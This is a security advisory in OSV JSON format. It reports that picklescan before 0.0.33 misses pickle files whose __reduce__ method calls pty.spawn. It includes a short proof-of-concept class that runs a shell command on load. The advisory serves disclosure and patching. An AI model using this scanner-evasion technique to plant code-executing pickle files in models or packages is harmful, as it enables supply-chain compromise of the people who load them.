{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-29T15:24:33Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nUsing pty.spawn, which is a built-in python library function to execute arbitrary commands on the host system.\n\n### Details\nThe attack payload executes in the following steps:\nFirst, the attacker craft the payload by calling to `pty.spawn` function in the `__reduce__` method. Then the victim attempts to use picklescan to scan the pickle file for issues and sees this -\n```\n----------- SCAN SUMMARY -----------\nScanned files: 1\nInfected files: 0\nDangerous globals: 0\n```\nThe victim proceeds to load the pickle file and execute attacker-injected arbitrary code.\n\n### PoC\n```\nclass PtyExploit:\n  def __reduce__(self):\n    return (pty.spawn, ([\"/bin/sh\", \"-c\", \"id; exit\"],))\n```\n\n### Impact\n**Who is impacted?** Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\n**What is the impact?** Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\n**Supply Chain Attack**: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Collaborators\nhttps://github.com/ajohnston9\nhttps://github.com/geo-lit",
  "id": "GHSA-vqmv-47xg-9wpr",
  "modified": "2025-12-29T15:24:33Z",
  "published": "2025-12-29T15:24:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vqmv-47xg-9wpr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/pull/53"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan missing detection when calling pty.spawn"
}